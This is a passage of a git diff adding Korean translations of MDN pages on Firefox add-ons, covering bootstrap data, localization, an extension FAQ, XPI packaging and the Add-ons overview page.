+</table>
+
+<h2 id="Bootstrap_data">Bootstrap data</h2>
+
+<p>각각의 진입점들은 부가기능의 유용한 정보를 담고 있는 간단한 데이터 구조를 갖고 있습니다. 부가기능에 대한 더 많은 정보는 <code><a href="/en-US/docs/Addons/Add-on_Manager/AddonManager#getAddonByID()">AddonManager.getAddonByID()</a></code>를 호출하는 것으로 알 수 있습니다. 그 데이터는 다음과 같은 속성을 갖고있는 간단한 자바스크립트 오브젝트입니다:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">속성</td>
+   <td class="header">자료형</td>
+   <td class="header">설명</td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><code>string</code></td>
+   <td>부가기능의 ID</td>
+  </tr>
+  <tr>
+   <td><code>version</code></td>
+   <td><code>string</code></td>
+   <td>부가기능의 버전</td>
+  </tr>
+  <tr>
+   <td><code>installPath</code></td>
+   <td><code>nsIFile</code></td>
+   <td>부가기능이 설치된 장소. 부가기능이 언팩되어있는지 여부에 따라 디렉터리가 될 수도 있고 XPI 파일이 될 수도 있습니다.</td>
+  </tr>
+  <tr>
+   <td><code>resourceURI</code></td>
+   <td><code>nsIURI</code></td>
+   <td>부가기능의 루트를 가리키는 URI. 부가기능이 언팩되어있는지 여부에 따라 <code>jar:</code> 이 될 수도 있고 <code>file:</code> URI 이 될 수도 있습니다. {{ gecko_minversion_inline("7.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>oldVersion</code></td>
+   <td><code>string</code></td>
+   <td>과거 설치된 버전, reason이 <code>ADDON_UPGRADE</code> 이거나 <code>ADDON_DOWNGRADE이고 함수가</code> <code>install</code> 이나 <code>startup일 경우</code>. {{ gecko_minversion_inline("22.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>newVersion</code></td>
+   <td><code>string</code></td>
+   <td>설치될 버전. reason이 <code>ADDON_UPGRADE</code> 이나 <code>ADDON_DOWNGRADE이고 함수가</code> is <code>shutdown</code> 이나 <code>uninstall일 경우</code>. {{ gecko_minversion_inline("22.0") }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>노트:</strong> <code>startup</code> 함수의 reason이 <code>APP_STARTUP이고</code> <code>oldVersion</code> 속성이 설정되어있지 않으면 부가기능은 파이어폭스가 시작될 때 업그레이드/다운그레이드 될 수 있습니다. 또한 어떤 상황에서는 uninstall 함수가 호출되지 않고도 업그레이드/다운그레이드가 일어난다는 것을 주의하세요.</p>
+</div>
+
+<h2 id="부가_기능_디버거">부가 기능 디버거</h2>
+
+<p>파이어폭스 31부터 부트스트랩 부가 기능을 디버깅하기 위해서 <a href="/en-US/Add-ons/Add-on_Debugger">부가 기능 디버거</a>를 사용할 수 있습니다.</p>
+
+<h2 id="현지화_L10n">현지화 (L10n)</h2>
+
+<p>부트스트랩 부가기능을 현지화하는 것은 chrome.manifest 호환성이 정착된 파이어폭스 7 이후로 거의 같습니다.</p>
+
+<h3 id="JS와_JSM_파일_-_속성_파일_사용하기">JS와 JSM 파일 - 속성 파일 사용하기</h3>
+
+<p>.js와 .jsm 파일을 현지화하기 위해서 <a href="/en-US/docs/XUL/Tutorial/Property_Files">속성 파일</a>을 사용해야 합니다.</p>
+
+<p>필요한 최소한의 것들은:</p>
+
+<ol>
+ <li>파일: install.rdf</li>
+ <li>파일: chrome.manifest</li>
+ <li>파일: bootstrap.js</li>
+ <li>폴더: locale
+  <ol>
+   <li>폴더: VALID_LOCALE_HERE
+    <ol>
+     <li>파일: ANYTHING.properties</li>
+    </ol>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<p>locale 폴더 안에 지원할 각각의 언어를 위한 폴더들이 있어야 합니다; 각각의 폭더는 유효한 로케일의 이름이어야 합니다(예: en-US). 폴더 안에는 속성파일이 들어있어야 합니다. chrome.manifest 파일 안에는 이런 로케일들이 정의되어야 합니다. 예를 들어 locale 폴더 안에 en-US 폴더가 들어있을 경우 chrome.manifest 파일에는 다음 줄이 추가되어야 합니다: <code>locale NAME_OF_YOUR_ADDON en-US locale/en-US/</code></p>
+
+<p>여기 예가 있습니다: <a href="https://github.com/Noitidart/l10n/tree/properties">GitHub :: l10n-properties</a> - 이 부가기능을 실행하면 프롬프트에 USA나 Great Britain중 당신의 로케일에 가까운 쪽이 뜰 것입니다. about:config에서  general.useragent.locale을 en-US로 바군 뒤 en-GB로 설정하고 부가기능을 비활성화 한 뒤에 활성화하면서 다른 로케일을 시험해볼 수 있습니다.</p>
+
+<h3 id="XUL과_HTML_파일_-_Using_Entities_from_DTD_Files">XUL과 HTML 파일 - Using Entities from DTD Files</h3>
+
+<p>HTML파일은 흔히 사용되지만 DTD을 사용해 번역할 수 없습니다. 변경해야 하는 것이 세가지가 있습니다:</p>
+
+<ol>
+ <li> HTML 파일의 확장자를 <code>.xhtml로 변경합니다</code></li>
+ <li>doctype에서 locale 폴더 속의 DTD 파일의 위치가 이런 식으로 정의되어야 합니다: <code>&lt;!DOCTYPE html SYSTEM <span class="pl-s1">"chrome://l10n/locale/mozilla.dtd"</span>&gt;</code></li>
+ <li>html 태그에 xmlns 속성을 붙여야 합니다: <code>&lt;<span class="pl-ent">html</span> <span class="pl-e">xmlns</span>=<span class="pl-s1"><span class="pl-pds">"</span>http://www.w3.org/1999/xhtml<span class="pl-pds">"</span></span>&gt;</code></li>
+</ol>
+
+<p>최소한으로 필요한 것:</p>
+
+<ol>
+ <li>파일: install.rdf</li>
+ <li>파일: chrome.manifest</li>
+ <li>파일: bootstrap.js</li>
+ <li>폴더: locale
+  <ol>
+   <li>폴더: VALID_LOCALE_HERE
+    <ol>
+     <li>파일: ANYTHING.dtd</li>
+    </ol>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<p>chrome.manifest 파일은 이와 같이 내용에 대한 정의를 포함해야 합니다: <code>content NAME_OF_YOUR_ADDON ./</code></p>
+
+<p>chrome.manifest 파일은 또한 위의 속성 섹션처럼 locale을 가리키는 라인이 포함되어야 합니다. locale의 폴더 이름이 en-US라면chrome.manifest 파일은 다음 줄을 포함해야 합니다: <code>locale NAME_OF_YOUR_ADDON en-US locale/en-US/</code></p>
+
+<p>이것은 설치되면 HTML과 XUL 페이지를 열어주는 예시 부가기능입니다: <a href="https://github.com/Noitidart/l10n/tree/c456cc82a8a66b6d552cd8c2299cd2babc383af0">GitHub :: l10n-xhtml-xul</a>. 이것은 어떻게 현지화된 HTML파일을 옵션으로 쓸 수 있는지의 예입니다: <a href="https://github.com/Noitidart/l10n/tree/html-options">GitHub :: l10n-html-options</a>.  about:config에서 <code>general.useragent.locale을</code> <code>en-US</code>로 바꾼 뒤 <code>en-GB</code>로 바꾸고 열린 페이지를 새로고침 하면 현지화의 변화를 알 수 있습니다.</p>
+
+<h2 id="더_읽어보기">더 읽어보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/How_to_convert_an_overlay_extension_to_restartless">How to convert an overlay extension to restartless</a> a step by step guide. Some code samples are provided. The page is based on and expanded from Dave Garrett's step-by-step guide to <a class="external" href="https://flagfox.wordpress.com/2014/01/19/writing-restartless-addons/">convert an old overlay based extension into a restartless addon</a>.</li>
+ <li>Dave Townsend provides a basic code base to <a class="external" href="http://www.oxymoronical.com/blog/2011/01/Playing-with-windows-in-restartless-bootstrapped-extensions">load UI for each opened window</a> in a bootstrapped extension.</li>
+ <li>Mark Finkle provides some simple example code for <a class="external" href="http://starkravingfinkle.org/blog/2011/01/bootstrap-jones-adventures-in-restartless-add-ons/">restartless add-ons in mobile Firefox</a>, <a class="external" href="http://starkravingfinkle.org/blog/2011/01/restartless-add-ons-more-resources/">adding resources (like the options window)</a> to bootstrapped extensions and <a class="external" href="http://starkravingfinkle.org/blog/2011/01/restartless-add-ons-%e2%80%93-default-preferences/">using default preferences</a> without a <code>default/preferences/prefs.js</code> file.</li>
+ <li>Kris Maglione writes about <a class="external" href="http://maglione-k.users.sourceforge.net/bootstrapped.xhtml">the requirements for the cleanup procedures</a> in bootstrapped extensions.</li>
+ <li>Edward Lee shows off some <a class="external" href="http://ed.agadak.net/2011/01/restartless-add-on-example-code">helpful coding patterns and examples</a> you can use in your bootstrapped add-on.</li>
+ <li>Documentation for <a href="/en-US/docs/Extensions/Inline_Options">Inline Options</a> in Firefox 7 and later.</li>
+</ul>
diff --git a/files/ko/mozilla/add-ons/extension_frequently_asked_questions/index.html b/files/ko/mozilla/add-ons/extension_frequently_asked_questions/index.html
new file mode 100644
index 0000000000..508750dfad
--- /dev/null
+++ b/files/ko/mozilla/add-ons/extension_frequently_asked_questions/index.html
@@ -0,0 +1,59 @@
+---
+title: Extension Frequently Asked Questions
+slug: Mozilla/Add-ons/Extension_Frequently_Asked_Questions
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Archive/Mozilla/Extension_Frequently_Asked_Questions
+---
+<h3 id=".EB.94.94.EB.B2.84.EA.B9.85" name=".EB.94.94.EB.B2.84.EA.B9.85"><b>디버깅</b></h3>
+<p>확장기능을 디버깅하기 전에<a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">development preferences</a> 를 올바르게 설정하시기를 권장합니다.</p>
+<p>자바스크립트 디버거인 <a href="ko/Venkman">Venkman</a>은 복잡한 디버깅 상황에서 유용한 디버거가 되어 줄 것입니다. 디버깅 하실 때, "Debug -&gt; Exclude Browser Files" 옵션이 활성화 되어 있지 않아야 합니다.</p>
+<p> </p>
+<h4 id=".EC.96.B4.EB.96.BB.EA.B2.8C.ED.95.98.EB.A9.B4_.EC.BD.94.EB.93.9C.EB.82.B4_.EC.97.90.EB.9F.AC.EB.A5.BC_.EB.B3.BC_.EC.88.98_.EC.9E.88.EC.9D.84.EA.B9.8C.3F" name=".EC.96.B4.EB.96.BB.EA.B2.8C.ED.95.98.EB.A9.B4_.EC.BD.94.EB.93.9C.EB.82.B4_.EC.97.90.EB.9F.AC.EB.A5.BC_.EB.B3.BC_.EC.88.98_.EC.9E.88.EC.9D.84.EA.B9.8C.3F"><b>어떻게하면 코드내 에러를 볼 수 있을까?</b></h4>
+<p><a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">preference 의 <b>javascript.options.showInConsole</b>옵션이 <b>true</b> 값이 되도록 설정</a>하시면, 모든 종류의 에러 메시지는 자바스크립트 콘솔을 통해서 보고될 것입니다.</p>
+<h4 id=".EC.96.B4.EB.96.BB.EA.B2.8C.ED.95.98.EB.A9.B4_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5.EC.9D.B4_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91_.ED.95.98.EB.8A.94.EC.A7.80_.ED.99.95.EC.9D.B8.ED.95.A0_.EC.88.98_.EC.9E.88.EC.9D.84.EA.B9.8C.3F" name=".EC.96.B4.EB.96.BB.EA.B2.8C.ED.95.98.EB.A9.B4_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5.EC.9D.B4_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91_.ED.95.98.EB.8A.94.EC.A7.80_.ED.99.95.EC.9D.B8.ED.95.A0_.EC.88.98_.EC.9E.88.EC.9D.84.EA.B9.8C.3F"><b>어떻게하면 확장기능이 제대로 동작 하는지 확인할 수 있을까?</b></h4>
+<p><a href="ko/DOM/window.alert">alert()</a> 이나 <a href="ko/DOM/window.dump">dump()</a> 함수, 또는 <a href="ko/NsIConsoleService">nsIConsoleService</a>를 사용하실 수 있습니다.</p>
+<h4 id=".EC.99.9C_.EB.82.B4.EA.B0.80_.EB.A7.8C.EB.93.A0_.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.EB.8A.94_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91.ED.95.98.EC.A7.80_.EC.95.8A.EC.9D.84.EA.B9.8C.3F" name=".EC.99.9C_.EB.82.B4.EA.B0.80_.EB.A7.8C.EB.93.A0_.EC.8A.A4.ED.81.AC.EB.A6.BD.ED.8A.B8.EB.8A.94_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91.ED.95.98.EC.A7.80_.EC.95.8A.EC.9D.84.EA.B9.8C.3F"><b>왜 내가 만든 스크립트는 제대로 동작하지 않을까?</b></h4>
+<p>만약 스크립트가 예상대로 동작하지 않는다면, 자바스크립트 콘솔의 에러 메시지를 확인해 보시기를 권합니다. (어떻게하면 코드내 에러를 볼 수 있을까? <a href="#.EC.96.B4.EB.96.BB.EA.B2.8C.ED.95.98.EB.A9.B4_.EC.BD.94.EB.93.9C.EB.82.B4_.EC.97.90.EB.9F.AC.EB.A5.BC_.EB.B3.BC_.EC.88.98_.EC.9E.88.EC.9D.84.EA.B9.8C.3F">위에 있음</a>)</p>
+<p>한가지 흔한 실수는 윈도우가 완전히 로드되기 전에, 윈도우에 있는 DOM에 접근하려고 하는 것입니다. 이러한 실수는 초기화 코드가 스크립트내의 상위 레벨에서(다른 말로하면, 함수 밖에서) 실행될때 발생합니다. 이를 찾아내기 위해서는 윈도우가 완전히 로드될때까지 특정 부분의 코드가 실행되지 않도록 해주는 <code>load</code> event listener를 사용하시기 바랍니다.</p>
+<pre class="eval">function exampleBrowserStartup(event)
+{
+  // place your startup code here
+}
+window.addEventListener("load", exampleBrowserStartup, false);
+</pre>
+<h4 id=".EC.9B.B9.ED.8E.98.EC.9D.B4.EC.A7.80.EC.97.90_.EC.9E.88.EB.8A.94_.EB.AC.B8.EC.84.9C.EB.A5.BC_.EC.9D.BD.EC.96.B4.EB.93.A4.EC.9D.BC_.EC.88.98_.EC.97.86.EC.9D.84_.EB.95.8C" name=".EC.9B.B9.ED.8E.98.EC.9D.B4.EC.A7.80.EC.97.90_.EC.9E.88.EB.8A.94_.EB.AC.B8.EC.84.9C.EB.A5.BC_.EC.9D.BD.EC.96.B4.EB.93.A4.EC.9D.BC_.EC.88.98_.EC.97.86.EC.9D.84_.EB.95.8C"><b>웹페이지에 있는 문서를 읽어들일 수 없을 때</b></h4>
+<p>browser.xul 오버레이로 부터 현재 웹페이지의 문서를 가져올 때, 브라우저의 윈도우 문서를 읽어오도록 하는 <code>document</code> 를 사용하는 대신에 브라우저의 윈도우 내에 포함되어 있는 문서를 읽어오도록 하는 <code>content.document</code> 를 사용하시기 바랍니다. 보다 자세한 내용은 <a href="ko/Working_with_windows_in_chrome_code#Content_windows">Working with windows in chrome code</a> 에서 확인하실 수 있습니다.</p>
+<p>또한, <a href="ko/XPCNativeWrapper">XPCNativeWrapper</a>는 기본적으로 웹페이지에 있는 script-defined 객체에 접근하는 것과 그 외 다른 것들을 하지 못 하도록 방지해 줍니다.</p>
+<p> </p>
+<h4 id="XML_.ED.8C.8C.EC.8B.B1.EC.97.90.EB.9F.AC.EA.B0.80_.EB.82.AC.EC.A7.80.EB.A7.8C.2C_.ED.8C.8C.EC.9D.BC.EC.97.90_.EB.AC.B8.EC.A0.9C.EA.B0.80_.EC.97.86.EC.96.B4_.EB.B3.B4.EC.9D.BC_.EB.95.8C" name="XML_.ED.8C.8C.EC.8B.B1.EC.97.90.EB.9F.AC.EA.B0.80_.EB.82.AC.EC.A7.80.EB.A7.8C.2C_.ED.8C.8C.EC.9D.BC.EC.97.90_.EB.AC.B8.EC.A0.9C.EA.B0.80_.EC.97.86.EC.96.B4_.EB.B3.B4.EC.9D.BC_.EB.95.8C"><b>XML 파싱에러가 났지만, 파일에 문제가 없어 보일 때</b></h4>
+<p>일반적으로 파싱에러(<font color="red">붉은색 문구</font>와 붉은색 밑줄<font color="red">-------------^</font>로 표시됨)는 XML에서 의미있게 사용되는 특정한 문자나 속성 값이 소스코드내에서 잘 못 사용됐을 때 발생합니다. 예를들면,</p>
+<pre class="eval">&lt;button oncommand="window.open('<span class="nowiki">http://example.com/</span>q?param1=value<b>&amp;param2</b>=val2')"/&gt;
+</pre>
+<p>또는,</p>
+<pre class="eval">&lt;script&gt;function lesser(a,b) { return <b>a &lt; b</b> ? a : b; }&lt;/script&gt;
+</pre>
+<p>이러한 문제는 다음과 같은 방법으로 해결될 수 있습니다.</p>
+<ol>
+ <li>에러가 발생한 문자를 XML에서 특정한 의미로 사용되지 않는 표현으로 바꾸십시오. (예: "&amp;" -&gt; "&amp;amp;", "&lt;" -&gt; "&amp;lt;")</li>
+ <li>(만일 텍스트 노드라면, 이를테면 스크립트) CDATA 태그로 텍스트 노드를 에워싸십시오:
+  <pre>&lt;script&gt;&lt;![CDATA[
+   function lesser(a,b) {
+     return a &lt; b ? a : b;
+   }
+ ]]&gt;&lt;/script&gt;</pre>
+ </li>
+ <li>스크립트를 다른 파일로 저장한 후, 이를 포함시키도록 하는 코드를 삽입하십시오:
+  <pre>&lt;script type="application/x-javascript" src="our.js"/&gt;</pre>
+ </li>
+</ol>
+<p> </p>
+<h3 id=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C" name=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C"><b>예제 코드</b></h3>
+<p>무엇인가 유용한 동작을 구현하기 위해서 필요한 코드가 있다면, 가장 쉬운 방법은 이미 그러한 동작을 구현한 확장기능 (또는 Mozilla의 일부분)을 찾아내어 살펴보는 것입니다. (XPI와 JAR 파일은 ZIP 포멧을 사용합니다.)</p>
+<p>이와 관련된 문서는 <a>the list of extension-related articles on MDC</a> 와 <a class="external" href="http://kb.mozillazine.org/Category:Example_code">Example code page on MozillaZine</a>에서 찾아 보실수 있습니다.</p>
+<p> </p>
+<h3 id=".EB.8F.84.EC.9B.80.EC.9D.84_.EC.96.BB.EC.9D.84_.EC.88.98_.EC.9E.88.EB.8A.94_.EA.B3.B3" name=".EB.8F.84.EC.9B.80.EC.9D.84_.EC.96.BB.EC.9D.84_.EC.88.98_.EC.9E.88.EB.8A.94_.EA.B3.B3"><b>도움을 얻을 수 있는 곳</b></h3>
+<p><a href="ko/Extensions/Other_Resources">Extensions:Other Resources</a> 와 <a href="ko/Extensions/Community">Extensions:Community</a>를 꼭 읽어 주십시오.</p>
+<p>도움을 청하시기 전에, <a href="#.EB.94.94.EB.B2.84.EA.B9.85">디버깅</a>과 <a href="#.EC.96.B4.EB.96.BB.EA.B2.8C.ED.95.98.EB.A9.B4_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5.EC.9D.B4_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91_.ED.95.98.EB.8A.94.EC.A7.80_.ED.99.95.EC.9D.B8.ED.95.A0_.EC.88.98_.EC.9E.88.EC.9D.84.EA.B9.8C.3F">자바스크립트 콘솔</a>의 내용을 읽어주십시오. 또한, 질문을 하시기 전에, 질문에 대한 간단한 검색을 해주실 것과 자주묻는질문(FAQ)을 읽어주시길 부탁드립니다.</p>
+<p>{{ languages( { "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ko": "ko/\ud655\uc7a5\uae30\ub2a5\uc5d0_\uad00\ud55c_\uc790\uc8fc\ud558\ub294_\uc9c8\ubb38" } ) }}</p>
diff --git a/files/ko/mozilla/add-ons/extension_packaging/index.html b/files/ko/mozilla/add-ons/extension_packaging/index.html
new file mode 100644
index 0000000000..2dd7ff02eb
--- /dev/null
+++ b/files/ko/mozilla/add-ons/extension_packaging/index.html
@@ -0,0 +1,34 @@
+---
+title: Extension Packaging
+slug: Mozilla/Add-ons/Extension_Packaging
+tags:
+  - Add-ons
+  - Extensions
+  - Toolkit API
+translation_of: Archive/Add-ons/Extension_Packaging
+---
+<p>확장기능은 <a href="ko/Bundles">설치 가능한 번들</a>의 한 형태입니다. 확장기능은 사용자가 직접 내려받아 설치할 수 있으며 응용프로그램에 미리 포함되어 있거나 외부 프로그램에 의해서 제공되기도 합니다. 확장기능은 chrome, components 등의 <a href="ko/Bundles">디렉토리 구조</a>로 되어 있는데 개별 구조는 XUL 프로그램으로 확장됩니다.</p>
+<p>모든 확장기능은 자신의 메타정보를 담은 <a href="ko/Install.rdf">install.rdf</a> 파일을 제공해야 하는데 파일은 유일한 ID, 버전, 저자, 호환성 정보를 담고 있습니다.</p>
+<p>확장기능 파일과 install.rdf가 준비된 다음 확장 기능의 설치를 위한 몇가지 준비 단계가 있습니다. 사용자 설치가능한 확장기능 디렉토리의 ZIP 포맷인 <a href="ko/XPI">XPI</a>(xpinstall) 파일, 사용자 응용프로그램이나 프로필 디렉토리에 확장기능을 직접 압축 풀기, 윈도우즈 레즈스트리에 확장기능을 등록의 단계입니다.</p>
+<h3 id=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_XPI_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_XPI_.EB.A7.8C.EB.93.A4.EA.B8.B0">확장기능 XPI 만들기</h3>
+<p><a href="ko/XPI">XPI</a>(XPInstall) 파일은 단순히 <a href="ko/Install.rdf">install.rdf</a> 파일이 ZIP 파일의 최상단에 위치하는 확장기능 파일을 담은 ZIP 파일입니다. 사용자는 XPI 파일을 웹사이트나 로컬 파일에서 파일을 열거나 확장기능 관리창에 끌어 옮김으로서 내려 받거나 설치할 수 있습니다.</p>
+<p>파이어폭스 XPI 파일에 대한 MIME 형은 <i>application/x-xpinstall</i>로 인식이 됩니다. 대부분의 HTTP 서버가 .xpi 확장기능에 대한 MIME 타입을 반환하는 설정을 기본으로 하지 않기 때문에 어쩌면 HTTP 서버를 재설정해야 할 수도 있습니다. 아파치 HTTP 서버에서는 아래의 문장을 설정 파일이나 .htaccess 파일에 삽입해야 합니다.</p>
+<pre class="eval">AddType application/x-xpinstall .xpi
+</pre>
+<h3 id=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.ED.8C.8C.EC.9D.BC_.EC.A7.81.EC.A0.91_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0" name=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.ED.8C.8C.EC.9D.BC_.EC.A7.81.EC.A0.91_.EC.84.A4.EC.B9.98.ED.95.98.EA.B8.B0">확장기능 파일 직접 설치하기</h3>
+<p>만약 응용 프로그램의 위치를 알고 있다면 (예를 들어 응용 프로그램의 설치과정에 확장기능을 설치하게 할려면) 직접 &lt;appdir&gt;/extensions/&lt;extensionID&gt;에 확장 기능 파일을 직접 설치할 수 있습니다. 확장기능은 다음번 응용 프로그램이 실행될 때 확장기능 관리자에 의해 자동으로 인식됩니다.</p>
+<p>이 방법을 사용할 때 디렉토리와 확장기능 파일에 대한 파일 시스템의 권한이 적절하게 설정되어 있는지 확인해야 합니다. 확장기능 관리자는 확장기능의 권한이 적합한지 아닌지 판단하는 기능이 없습니다.</p>
+<h3 id=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EC.9C.84.EC.B9.98.EB.A5.BC_.EC.9C.88.EB.8F.84.EC.9A.B0_.EB.A0.88.EC.A7.80.EC.8A.A4.ED.8A.B8.EB.A6.AC.EC.97.90_.EB.93.B1.EB.A1.9D.ED.95.98.EA.B8.B0" name=".ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_.EC.9C.84.EC.B9.98.EB.A5.BC_.EC.9C.88.EB.8F.84.EC.9A.B0_.EB.A0.88.EC.A7.80.EC.8A.A4.ED.8A.B8.EB.A6.AC.EC.97.90_.EB.93.B1.EB.A1.9D.ED.95.98.EA.B8.B0">확장기능 위치를 윈도우 레지스트리에 등록하기</h3>
+<p>(자바 런타임 따위의) 외부 설치자가 응용프로그램은 아직 설치되지 않은 상황에 통합적인 위치에 확장기능을 설치하고자 할 수 있습니다. 윈도우즈 <a href="ko/Adding_Extensions_using_the_Windows_Registry">레지스트리 사용</a>을 통해 처리할 수 있습니다.</p>
+<h3 id=".EC.97.AC.EB.9F.AC_.ED.95.AD.EB.AA.A9.EC.9D.84_.ED.8F.AC.ED.95.A8.ED.95.9C_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_XPI" name=".EC.97.AC.EB.9F.AC_.ED.95.AD.EB.AA.A9.EC.9D.84_.ED.8F.AC.ED.95.A8.ED.95.9C_.ED.99.95.EC.9E.A5.EA.B8.B0.EB.8A.A5_XPI">여러 항목을 포함한 확장기능 XPI</h3>
+<p>하나의 XPI 파일로 여러개의 확장과 테마를 설치하길 원할 때도 있습니다. 특별한 종류의 <a href="ko/Multiple_Item_Packaging">여러 항목을 포함한 XPI 포장</a>라고 불리우는 특별한 형태의 XPI는 이런 패키지를 만들 수 있습니다. (Firefox 1.5/XULRunner 1.8 이상이 필요합니다.)</p>
+<h3 id="Official_References_for_Toolkit_API" name="Official_References_for_Toolkit_API">Official References for <a href="ko/Toolkit_API">Toolkit API</a></h3>
+<p>
+  </p><ul>
+    <li><a href="/ko/Bundles" title="ko/Bundles">설치 가능한 번들</a>: 설치 가능한 번들(확장 기능, 테마, XULRunner 어플리케이션 등)에 대하여 기술하고 있습니다.</li>
+    <li><a href="/ko/Extension_Packaging" title="ko/Extension_Packaging">확장기능 포장</a>: 확장 기능을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/Theme_Packaging" title="ko/Theme_Packaging">테마 포장</a>: 테마 기능을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/Ko/Multiple_Item_Packaging" title="Ko/Multiple_Item_Packaging">여러 항목을 포함한 XPI 포장</a>: 여러 항목들이 포함되는 XPI 를 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/XUL_Application_Packaging" title="ko/XUL_Application_Packaging">XUL 응용프로그램 포장</a>: XULRunner 응용프로그램을 포장하는 방법에 대한 정보를 제공합니다.</li>
+    <li><a href="/ko/Chrome_Registration" title="ko/Chrome_Registration">Chrome 등록</a>: Chrome의 등록하는 방법에 대한 정보를 제공합니다.</li>
+  </ul>
diff --git a/files/ko/mozilla/add-ons/index.html b/files/ko/mozilla/add-ons/index.html
new file mode 100644
index 0000000000..134b1f7e1a
--- /dev/null
+++ b/files/ko/mozilla/add-ons/index.html
@@ -0,0 +1,116 @@
+---
+title: 부가 기능들
+slug: Mozilla/Add-ons
+tags:
+  - 모질라
+  - 부가기능
+  - 애드온
+  - 확장
+  - 확장기능
+translation_of: Mozilla/Add-ons
+---
+<div>{{AddonSidebar}}</div>
+
+<p><span class="seoSummary">애드온들은 개발자들에게 Firefox의 기능을 변형하거나 확장하게 해 줍니다.</span> 그것들은 표준 웹 기술인 JavaScript, HTML, CSS 또는 몇가지 전용 JavaScript API들을 사용하여 만들어집니다. 이러한 것들 사이에서, 애드온은 다음과 같은 일들을 할 수 있습니다 :</p>
+
+<ul>
+ <li>특정 웹사이트의 내용 또는 모양새를 바꿉니다.</li>
+ <li>Firefox의 사용자 인터페이스를 변형합니다.</li>
+ <li>Firefox에 새로운 기능을 추가합니다.</li>
+</ul>
+
+<h2 id="애드온_개발하기">애드온 개발하기</h2>
+
+<p>Firefox 애드온을 개발하는데 있어서는 현재 몇가지 툴셋들이 있습니다, 그러나 <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">웹확장기능(WebExtensions)</a> 이 2017년 말에 표준으로 선정될 것입니다. 나머지 툴들은 같은기간안에 <a href="https://developer.mozilla.org/en-US/Add-ons/Overlay_Extensions">지원이 중단(deprecated) </a>될 것으로 예상 됩니다.</p>
+
+<p>이곳에서 당신은 애드온을 개발하는데 이용 가능한 옵션에 대한 정보를 찾을 수 있을 것입니다,  이로써 당신은 지금 당장과 미래에 무엇이 당신에게 가장 좋을지 결정 할 수 있을 것입니다.</p>
+
+<h3 id="새_애드온_만들기">새 애드온 만들기</h3>
+
+<p>만일 당신이 새로운 애드온을 설계한다면, 우리는 아래의 두가지 방법들 중 하나를 고를 것을 추천드립니다. 웹확장기능들의 번역이 완전해질 때까지 각각의 방법들에 대한 찬반 여론들이 있을 것입니다. 아래의 선택사항들을 읽고 당신에게 알맞는 도구를 결정하세요.</p>
+
+<ul class="card-grid">
+ <li style="position: relative; max-width: 400px;">
+  <div style="margin-bottom: 70px;">
+  <h4 id="웹확장기능(WebExtensions)"><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">웹확장기능(WebExtensions)</a></h4>
+
+  <p>웹확장기능(WebExtensions)은 Firefox 애드온의 미래 입니다.</p>
+
+  <p>이것은 크로스브라우져(cross-browser)간에 사용될 수 있도록 디자인 되었습니다.<br>
+   FireFox에서 이용할 수 있도록 만들어진 웹확장기능(WebExtensions)은 대부분 약간의 수정을 거치면 Chrome, Edge, 그리고 Opera에서 동작합니다. 이것은 또한 멀티프로세스 Firefox에서도 완전하게 작동합니다.</p>
+
+  <p><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">현재 API가 지원하는 Firefox 와 다른 브라우져를 확인하세요.</a> 우리는 개발자가 원하는 API들을 지속적으로 디자인하고 구현할 것입니다.</p>
+
+  <p>대부분의 웹확장기능(WebExtensions) API는 안드로이드용 Firefox에서도 사용 가능합니다.</p>
+  </div>
+  <a class="card-grid-button" href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">더알아보기</a></li>
+ <li style="position: relative; max-width: 400px;">
+  <div style="margin-bottom: 70px;">
+  <h4 id="애드온_SDK"><a href="https://developer.mozilla.org/en-US/Add-ons/SDK">애드온 SDK</a></h4>
+
+  <p>애드온 SDK는 Firefox 애드온 개발을 위한 API를 제공하며, 이것은 개발, 테스트, 패키징을 위한 도구입니다.</p>
+
